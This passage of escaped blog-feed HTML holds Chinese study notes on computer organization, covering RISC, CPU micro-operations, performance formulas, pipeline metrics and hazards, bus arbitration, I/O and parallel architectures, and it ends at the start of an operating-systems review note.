RISC\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e指令系统简单\u003c/p\u003e\u003cul\u003e\u003cli\u003e指令条数少、格式少、长度固定、功能简单\u003c/li\u003e\u003cli\u003e寻址方式少\u003c/li\u003e\u003cli\u003e采用硬布线控制逻辑(不用或少用微程序控制)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eLoad/Store结构\u003c/p\u003e\u003cul\u003e\u003cli\u003e只有LOAD和STORE指令可以访问存储器\u003c/li\u003e\u003cli\u003e寄存器多\u003c/li\u003e\u003cli\u003e寄存器窗口技术\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e十分重视提高流水线的执行效率\u003c/p\u003e\u003cul\u003e\u003cli\u003e大部分指令可以单周期执行完成\u003c/li\u003e\u003cli\u003e延迟转移技术\u003c/li\u003e\u003cli\u003e指令流调整技术\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e十分强调优化编译技术的作用\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_40\"\u003e中央处理器(CPU)\u003c/h2\u003e\u003ch3 id=\"toc_41\"\u003eCPU 的内部结构\u003c/h3\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"单总线数据通路CPU内部结构图\" data-src=\"https://upload.hawa130.com/2022/06/image-20220623204103147.png#vwid=1406\u0026vhei=1002\" src=\"https://upload.hawa130.com/2022/06/image-20220623204103147.png#vwid=1406\u0026vhei=1002\"\u003e\u003cfigcaption\u003e单总线数据通路CPU内部结构图\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch3 id=\"toc_42\"\u003e微操作与微命令\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e微操作\u003c/strong\u003e:CPU 的原子操作,以含有一个寄存器的传递操作为标志。如:$\\text{AR}\\gets\\text{PC}$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e微命令\u003c/strong\u003e:控制微操作完成的控制信号,由控制器产生。如:$\\text{PC}_\\text{out},\\text{AR}_\\text{in}$\u003c/p\u003e\u003ch4 id=\"toc_43\"\u003e微操作流程\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e时序信号产生\u003c/p\u003e\u003cul\u003e\u003cli\u003e指令周期:完成一条指令\u003c/li\u003e\u003cli\u003eCPU 周期:完成一个子周期\u003c/li\u003e\u003cli\u003e节拍周期:完成一个微操作\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e取址周期\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e一个简单的取址周期可由 3 个步骤、4 个微操作组成\u003c/p\u003e\u003cul\u003e\u003cli\u003eT1: $\\text{AR}\\gets\\text{PC}$\u003c/li\u003e\u003cli\u003eT2: $\\text{DR}\\gets\\text{Memory[AR]}$\u003c/li\u003e\u003cli\u003eT3: $\\text{PC}\\gets\\text{PC}+\\text{I},\\text{IR}\\gets\\text{DR}$($\\text{I}$ 为指令长度 byte)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_44\"\u003e微程序控制器设计\u003c/h3\u003e\u003ch4 id=\"toc_45\"\u003e微指令\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e微指令\u003c/strong\u003e:一个节拍内出现的一组微操作进行描述的语句。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e微程序 / 固件\u003c/strong\u003e:一个微指令序列。\u003c/p\u003e\u003ch4 id=\"toc_46\"\u003e微指令设计\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e微指令地址的生成\u003c/p\u003e\u003cul\u003e\u003cli\u003e两地址方式(断定方式)\u003c/li\u003e\u003cli\u003e单地址方式(计数方式,增量方式)\u003c/li\u003e\u003cli\u003e可变格式\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e编码\u003c/p\u003e\u003cul\u003e\u003cli\u003e水平型:多个微操作同时发生\u003c/li\u003e\u003cli\u003e垂直型:类似于机器指令\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e相容性\u003c/strong\u003e:可在同一时间有效的控制信号。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e互斥性\u003c/strong\u003e:不能在同一时间有效的控制信号。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_47\"\u003e微程序设计 ⭐️\u003c/h4\u003e\u003cp\u003e看例题。\u003c/p\u003e\u003ch3 id=\"toc_48\"\u003eCPU 性能测量与提高\u003c/h3\u003e\u003ch4 id=\"toc_49\"\u003eCPU 性能测量 ⭐️\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eCPU 时间\u003c/strong\u003e $T_\\text{CPU}=N\\times T_\\text{CLK}=\\frac{N}{f_\\text{CLK}}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e$N$:CPU 时钟周期数\u003c/li\u003e\u003cli\u003e$T_\\text{CLK}$:时钟周期时间\u003c/li\u003e\u003cli\u003e$f_\\text{CLK}$:时钟频率\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eCPI\u003c/strong\u003e:每条指令执行所用时钟数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e$I$:指令数\u003c/li\u003e\u003cli\u003e$CPI=\\frac{1}{I}\\sum_{i=1}^n (CPI_i\\times I_i)=\\sum_{i=1}^n (\\frac{I_i}{I}\\times CPI_i)$\u003c/li\u003e\u003cli\u003e$T_\\text{CPU}=I\\times CPI\\times T_\\text{CLK}=\\frac{I\\times CPI}{f_\\text{CLK}}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eIPC\u003c/strong\u003e:每时钟周期执行的指令数\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eMIPS\u003c/strong\u003e:每秒钟执行的百万指令数\u003c/p\u003e\u003cul\u003e\u003cli\u003e$T$:执行时间\u003c/li\u003e\u003cli\u003e$MIPS=\\frac{I}{T\\times 10^6}=\\frac{f_\\text{CLK}}{CPI\\times 10^6}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eFLOPS\u003c/strong\u003e:每秒钟完成的浮点运算次数\u003c/p\u003e\u003cul\u003e\u003cli\u003e$M$:浮点运算次数\u003c/li\u003e\u003cli\u003e$FLOPS=\\frac{M}{T}$\u003c/li\u003e\u003cli\u003e度量单位:\u003cstrong\u003eM\u003c/strong\u003eFLOPS、\u003cstrong\u003eG\u003c/strong\u003eFLOPS、\u003cstrong\u003eT\u003c/strong\u003eFLOPS…\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_50\"\u003e提高 CPU 速度的策略\u003c/h4\u003e\u003cul\u003e\u003cli\u003e多核技术\u003c/li\u003e\u003cli\u003e多线程技术\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_51\"\u003e流水线技术与指令级并行\u003c/h2\u003e\u003ch3 id=\"toc_52\"\u003e流水线处理的概念\u003c/h3\u003e\u003cp\u003e若将一重复的处理过程分解为若干子过程,每个子过程都可在专用设备构成的流水线功能段上实现,并可与其它子过程同时执行,这种技术称为\u003cstrong\u003e流水技术\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"toc_53\"\u003e流水线的类型\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e按流水线位于计算机系统的层次划分\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e系统级流水线 / 宏流水线(多计算机系统串行)\u003c/li\u003e\u003cli\u003e处理器级流水线\u003c/li\u003e\u003cli\u003e部件级流水线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e按流水线功能的强弱划分\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e单功能流水线\u003c/li\u003e\u003cli\u003e\u003cp\u003e多功能流水线\u003c/p\u003e\u003cul\u003e\u003cli\u003e静态流水线\u003c/li\u003e\u003cli\u003e动态流水线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e按流水线是否有反馈回路划分\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e线性流水线\u003c/li\u003e\u003cli\u003e非线性流水线(需要流水线调度)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e按流水线输出端任务流出顺序与输入端任务流入顺序是否相同划分\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e顺序流动流水线(入出顺序相同)\u003c/li\u003e\u003cli\u003e\u003cp\u003e异步流动流水线(入出顺序不同)\u003c/p\u003e\u003cul\u003e\u003cli\u003e无序流水线\u003c/li\u003e\u003cli\u003e错序流水线\u003c/li\u003e\u003cli\u003e乱序流水线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e按流水线一次处理对象的数量划分\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e标量流水线\u003c/li\u003e\u003cli\u003e超标量流水线\u003c/li\u003e\u003cli\u003e向量流水线\u003c/li\u003e\u003cli\u003e超长指令字流水线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_54\"\u003e浮点运算流水线\u003c/h3\u003e\u003ch4 id=\"toc_55\"\u003e浮点加减 / 乘除流水线\u003c/h4\u003e\u003col\u003e\u003cli\u003e阶码比较\u003c/li\u003e\u003cli\u003e尾数对齐\u003c/li\u003e\u003cli\u003e尾数加 / 减\u003c/li\u003e\u003cli\u003e规格化\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_56\"\u003e指令流水线\u003c/h3\u003e\u003ch4 id=\"toc_57\"\u003e指令流水线策略\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e增加指令流水线深度\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e局限性\u003c/p\u003e\u003cul\u003e\u003cli\u003e指令执行过程的细化有限度\u003c/li\u003e\u003cli\u003e随着深度增加,缓冲器增多,延迟加大,性能提高受阻碍\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e增加指令流水线条数\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_58\"\u003eRISC-V 基本指令流水线\u003c/h4\u003e\u003col\u003e\u003cli\u003e设计指令获取、执行的硬件逻辑电路\u003c/li\u003e\u003cli\u003e\u003cp\u003e对硬件逻辑分段\u003c/p\u003e\u003cul\u003e\u003cli\u003e尽量使每段处理功能相对独立,处理时间基本均衡。\u003c/li\u003e\u003cli\u003e保证当前指令在执行期间,指令流和数据流始终一个流向。\u003c/li\u003e\u003cli\u003e分段结果己是最细的划分:每段中仅有一个用于指令处理的功能部件。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e段间加入流水线寄存器\u003c/li\u003e\u003cli\u003e设计流水线控制器\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_59\"\u003e流水线性能度量 ⭐️\u003c/h3\u003e\u003ch4 id=\"toc_60\"\u003e时空图\u003c/h4\u003e\u003ch4 id=\"toc_61\"\u003e吞吐率\u003c/h4\u003e\u003cul\u003e\u003cli\u003e单位时间内,流水线所完成的\u003cstrong\u003e任务数\u003c/strong\u003e或\u003cstrong\u003e输出结果的数量\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e最大吞吐率 $TP_\\text{max}$\u003c/strong\u003e:流水线在达到稳定状态后所得到的吞吐率。\u003c/p\u003e\u003cul\u003e\u003cli\u003e各段运行时间相等:$TP_\\text{max}=\\frac{1}{T_\\text{CLK}}$\u003c/li\u003e\u003cli\u003e各段运行时间不等:$TP_\\text{max}=\\frac{1}{\\max\\{\\tau_i\\}}=\\frac{1}{\\tau}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e实际吞吐率 $TP$\u003c/strong\u003e:流水线 $m$ 段组成,完成 $n$ 个的任务吞吐率为实际吞吐率。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e$m$ 段流水线,各段运行时间相等,为一个时钟周期 $T_\\text{CLK}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e完成 $n$ 个任务所用时间:$T_n(m)=(m+(n-1))\\times\\tau=(m+(n-1))\\times T_\\text{CLK}$\u003c/li\u003e\u003cli\u003e实际吞吐率:$TP=\\frac{n}{T_n(m)}=\\frac{n}{(m+(n-1))\\times T_\\text{CLK}}=\\frac{TP_\\text{max}}{1+\\frac{m-1}{n}}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e各段运行时间不等\u003c/p\u003e\u003cul\u003e\u003cli\u003e完成 $n$ 个任务所用时间:$T_n(m)=\\sum_{i=1}^m\\tau_i+(n-1)\\times\\max\\{\\tau_i\\}$\u003c/li\u003e\u003cli\u003e实际吞吐率:$TP=\\frac{n}{T_n(m)}=\\frac{n}{\\sum_{i=1}^m\\tau_i+(n-1)\\times\\max\\{\\tau_i\\}}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 $MIPS$ 表示:$TP=MIPS\\times 10^6=\\frac{f_\\text{CLK}}{CPI}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e单流水线计算机系统:由于 $CPI_\\text{最佳}=1$,故 $TP_\\text{max}=f_\\text{CLK}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_62\"\u003e加速比\u003c/h4\u003e\u003cp\u003e加速比 $S$ 定义为等功能\u003cstrong\u003e非流水线执行时间 $T(1)$\u003c/strong\u003e 与\u003cstrong\u003e流水线执行时间 $T(m)$\u003c/strong\u003e 之比。\u003c/p\u003e\u003cp\u003e$$S=S_n(m)=\\frac{T_n(1)}{T_n(m)}$$\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e$m$ 段流水线,$n$ 个任务,若每段运行时间均为 $τ$。\u003c/p\u003e\u003cul\u003e\u003cli\u003e$T_n(1)=n\\cdot m\\tau$\u003c/li\u003e\u003cli\u003e$T_n(m)=mτ+(n-1)\\cdot\\tau$\u003c/li\u003e\u003cli\u003e$S_n(m)=\\frac{mn}{m+n-1}=\\frac{m}{1+\\frac{m-1}{n}}$\u003c/li\u003e\u003cli\u003e可见,增大指令流水线的\u003cstrong\u003e级数\u003c/strong\u003e和送入流水线的\u003cstrong\u003e指令数\u003c/strong\u003e均可提高运行速度。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_63\"\u003e效率\u003c/h4\u003e\u003cp\u003e效率即流水线的设备利用率。流水线有通过(填充)时间和排空时间,效率 $E\u0026lt;1$。\u003c/p\u003e\u003ch5 id=\"toc_64\"\u003e各段运行时间相等\u003c/h5\u003e\u003cp\u003e$m$ 个功能段,$n$ 个任务,各段运行时间为 $τ$,各段效率 $e_i$ 相等,即 $e_i=\\frac{nτ}{T_n(m)}$\u003c/p\u003e\u003cp\u003e总效率 $E=\\frac{1}{m}\\sum_{i=1}^{m}e_i=\\frac{nτ}{T_n(m)}=\\frac{n}{m+n-1}=\\frac{1}{1+\\frac{m-1}{n}}$\u003c/p\u003e\u003cp\u003e可见当 $n \\gg m$ 时,$E\\approx 1$。\u003c/p\u003e\u003ch5 id=\"toc_65\"\u003e各段运行时间不等\u003c/h5\u003e\u003cp\u003e$$\nE=\\frac{n\\text{ 个任务占用的时空区}}{m\\text{ 个段总的时空区}}\n$$\u003c/p\u003e\u003ch3 id=\"toc_66\"\u003e指令流水线的性能提高\u003c/h3\u003e\u003ch4 id=\"toc_67\"\u003e结构相关 / 冒险\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e部分功能单元没有充分流水\u003c/p\u003e\u003cul\u003e\u003cli\u003e解决:将流水线设计得更合理\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e资源冲突:两个以上需要同时使用硬件资源\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e解决\u003c/p\u003e\u003cul\u003e\u003cli\u003e增加资源副本\u003c/li\u003e\u003cli\u003e\u003cp\u003e改变资源以能够并发使用\u003c/p\u003e\u003cul\u003e\u003cli\u003e主存访问冲突:哈佛结构(指令和数据分离)\u003c/li\u003e\u003cli\u003e两个加法器:ALU、地址加法器\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e延迟(或暂停)冲突段 / 在冲突段插入流水线气泡\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_68\"\u003e数据相关 / 冒险\u003c/h4\u003e\u003cul\u003e\u003cli\u003e操作数未有效生成,就被作为后续指令的操作数\u003c/li\u003e\u003cli\u003e\u003cp\u003e类型\u003c/p\u003e\u003cul\u003e\u003cli\u003e先写后读(RAW,Read After Write)\u003c/li\u003e\u003cli\u003e先读后写(WAR)\u003c/li\u003e\u003cli\u003e写后写(WAW)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e解决\u003c/p\u003e\u003cul\u003e\u003cli\u003e采用转发/直通/相关直接通路技术\u003c/li\u003e\u003cli\u003e增加专用硬件(推后法)\u003c/li\u003e\u003cli\u003e利用编译器\u003c/li\u003e\u003cli\u003e对寄存器读写做特别设计(RISC-V)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_69\"\u003e控制相关 / 冒险\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e对条件分支指令的处理方法\u003c/p\u003e\u003col\u003e\u003cli\u003e冻结流水线:检测到分支指令就清除紧随分支并插入气泡。\u003c/li\u003e\u003cli\u003e\u003cp\u003e静态分支预测\u003c/p\u003e\u003cul\u003e\u003cli\u003e不会发生\u003c/li\u003e\u003cli\u003e总会发生\u003c/li\u003e\u003cli\u003e编译器预测\u003c/li\u003e\u003cli\u003e测试法\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e动态分支预测\u003c/p\u003e\u003cul\u003e\u003cli\u003e分支历史表(分支预测缓存)\u003c/li\u003e\u003cli\u003e分支历史移位寄存器\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e延迟分支:在转移指令之后插入没有数据相关或控制相关的有效指令\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e带转移开销的流水线性能\u003c/p\u003e\u003cul\u003e\u003cli\u003e控制相关对流水线性能造成的损失远比数据相关要大得多。\u003c/li\u003e\u003cli\u003e$\\text{有停顿流水线的实际 CPI}=\\text{理想 CPI}+\\frac{\\text{各种相关造成的停顿周期数}}{\\text{指令数}}$\u003c/li\u003e\u003cli\u003e$\\text{带转移开销流水线的加速比}=\\frac{\\text{流水线深度}}{\\text{有停顿流水线的实际 CPI}}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_70\"\u003e提高指令级并行的技术\u003c/h3\u003e\u003cul\u003e\u003cli\u003e乱序执行\u003c/li\u003e\u003cli\u003e推测执行\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_71\"\u003e多发射处理器\u003c/h3\u003e\u003cul\u003e\u003cli\u003e超标量\u003c/li\u003e\u003cli\u003e超长指令字处理器(VLIW)\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_72\"\u003e总线与输入 / 输出系统\u003c/h2\u003e\u003ch3 id=\"toc_73\"\u003e总线类型\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e按连接层次\u003c/p\u003e\u003cul\u003e\u003cli\u003e片内总线\u003c/li\u003e\u003cli\u003e系统总线\u003c/li\u003e\u003cli\u003e通信总线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e按数据位数\u003c/p\u003e\u003cul\u003e\u003cli\u003e并行总线\u003c/li\u003e\u003cli\u003e串行总线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e按用法\u003c/p\u003e\u003cul\u003e\u003cli\u003e专用总线\u003c/li\u003e\u003cli\u003e公用(共享)总线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_74\"\u003e总线的信息传输方式\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e过程\u003c/p\u003e\u003col\u003e\u003cli\u003e传输请求\u003c/li\u003e\u003cli\u003e总线仲裁\u003c/li\u003e\u003cli\u003e部件 / 设备寻址\u003c/li\u003e\u003cli\u003e\u003cp\u003e数据传输\u003c/p\u003e\u003cul\u003e\u003cli\u003e并行传送方式\u003c/li\u003e\u003cli\u003e串行传送方式\u003c/li\u003e\u003cli\u003e分时传送方式\u003c/li\u003e\u003cli\u003e消息传送方式\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e总线释放\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e通信方式\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e同步通信方式\u003c/p\u003e\u003cul\u003e\u003cli\u003e速度快,逻辑简单\u003c/li\u003e\u003cli\u003e缺点:时钟速率受慢速设备限制\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e异步通信方式\u003c/p\u003e\u003cul\u003e\u003cli\u003e无时钟信号线\u003c/li\u003e\u003cli\u003e使用握手协议\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_75\"\u003e总线仲裁\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e集中式仲裁\u003c/p\u003e\u003cul\u003e\u003cli\u003e链式查询方式(菊花链):离总线控制器越近优先级越高\u003c/li\u003e\u003cli\u003e计数器定时查询方式(轮询)\u003c/li\u003e\u003cli\u003e独立请求方式\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e \u003c/th\u003e\u003cth\u003e菊花链\u003c/th\u003e\u003cth\u003e轮询\u003c/th\u003e\u003cth\u003e独立请求\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e线数\u003c/td\u003e\u003ctd\u003e$3$\u003c/td\u003e\u003ctd\u003e$2+[\\log_2n]$\u003c/td\u003e\u003ctd\u003e$2n+1$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e可扩充性\u003c/td\u003e\u003ctd\u003e好\u003c/td\u003e\u003ctd\u003e差\u003c/td\u003e\u003ctd\u003e差\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e可靠性\u003c/td\u003e\u003ctd\u003e低\u003c/td\u003e\u003ctd\u003e高\u003c/td\u003e\u003ctd\u003e高\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e优先级\u003c/td\u003e\u003ctd\u003e固定\u003c/td\u003e\u003ctd\u003e可变\u003c/td\u003e\u003ctd\u003e可变\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e总线分配速度\u003c/td\u003e\u003ctd\u003e慢\u003c/td\u003e\u003ctd\u003e慢\u003c/td\u003e\u003ctd\u003e快\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cul\u003e\u003cli\u003e分布式仲裁\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_76\"\u003e典型的总线\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e系统总线(内总线)\u003c/p\u003e\u003cul\u003e\u003cli\u003eISA 总线\u003c/li\u003e\u003cli\u003ePCI 总线\u003c/li\u003e\u003cli\u003ePCIe 总线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e通信总线(外总线)\u003c/p\u003e\u003cul\u003e\u003cli\u003eRS-232C\u003c/li\u003e\u003cli\u003eUSB\u003c/li\u003e\u003cli\u003eSCSI\u003c/li\u003e\u003cli\u003eSAS\u003c/li\u003e\u003cli\u003eATA\u003c/li\u003e\u003cli\u003eSATA\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_77\"\u003e输入输出技术\u003c/h3\u003e\u003cul\u003e\u003cli\u003e程序查询方式\u003c/li\u003e\u003cli\u003e中断方式\u003c/li\u003e\u003cli\u003e直接存储器存取(DMA)\u003c/li\u003e\u003cli\u003eI/O 通道\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_78\"\u003e并行体系结构\u003c/h2\u003e\u003cul\u003e\u003cli\u003eSISD: 单指令流单数据流(串行计算机)\u003c/li\u003e\u003cli\u003e\u003cp\u003eSIMD: 单指令流多数据流\u003c/p\u003e\u003cul\u003e\u003cli\u003e阵列处理机\u003c/li\u003e\u003cli\u003e向量处理机\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eMIMD: 多指令流多数据流\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e多处理器系统(共享内存)\u003c/p\u003e\u003cul\u003e\u003cli\u003eUMA:每个处理器 / 内核访问内存的时间一样\u003c/li\u003e\u003cli\u003eNUMA:……不一样\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e多计算机系统(不共享内存,通信采用消息机制)\u003c/p\u003e\u003cul\u003e\u003cli\u003eMPP:大规模并行处理机(高性能)\u003c/li\u003e\u003cli\u003eCluster:集群(性价比\u003c/li\u003e\u003cli\u003e网格(客户端 — 服务器,计算任务只在客户端节点进行,服务器进行任务分发和结果汇总)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\n","url":"https://hawa130.com/archives/834/"},{"title":"操作系统预习笔记","time":"2022-06-22T09:58:00Z","content":"操作系统概述操作系统概念:操作系统是控制和管理计算机硬件和软件资源、合理地组织和管理计算机的工作流程以方便用户使用的程序的集合 。地位:位于硬件(裸机)之上,所有其他(应用)软件之下。它是对硬件...\u003chr /\u003e\n\u003ch2 id=\"toc_79\"\u003e操作系统概述\u003c/h2\u003e\u003ch3 id=\"toc_80\"\u003e操作系统\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e概念\u003c/strong\u003e:操作系统是控制和管理计算机硬件和软件资源、合理地组织和管理计算机的工作流程以方便用户使用的程序的集合 。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e地位\u003c/strong\u003e:位于硬件(裸机)之上,所有其他(应用)软件之下。它是对硬件系统功能的首次扩充(虚拟机)。\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_81\"\u003e操作系统发展史\u003c/h3\u003e\u003col\u003e\u003cli\u003e串行处理(真空管)\u003c/li\u003e\u003cli\u003e脱机批处理(晶体管)\u003c/li\u003e\u003cli\u003e多道批处理(集成电路)\u003c/li\u003e\u003cli\u003e个人计算机(大规模集成电路)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_82\"\u003e现代操作系统的特征\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e并发\u003c/strong\u003e:指两个或者多个事件在同一时间间隔内发生,是宏观上的并行和微观上的串行。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e共享\u003c/strong\u003e:系统中软硬件资源不再为某个用户(程序)独占,而是可供多个程序共同使用。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e虚拟\u003c/strong\u003e:指将一个物理实体变为若干逻辑单元。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e不确定性\u003c/strong\u003e:也称为并发程序的异步执行性,主要指程序的执行过程存在高度动态的特征,从而可能引发执行结果的不确定,操作系统必须有效解决这一问题。\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_83\"\u003e操作系统的分类\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e分时系统\u003c/strong\u003e:独立性,同时性,及时性,交互性。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e实时系统\u003c/strong\u003e:响应速度快,可靠性和安全性高。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e主要区别\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e 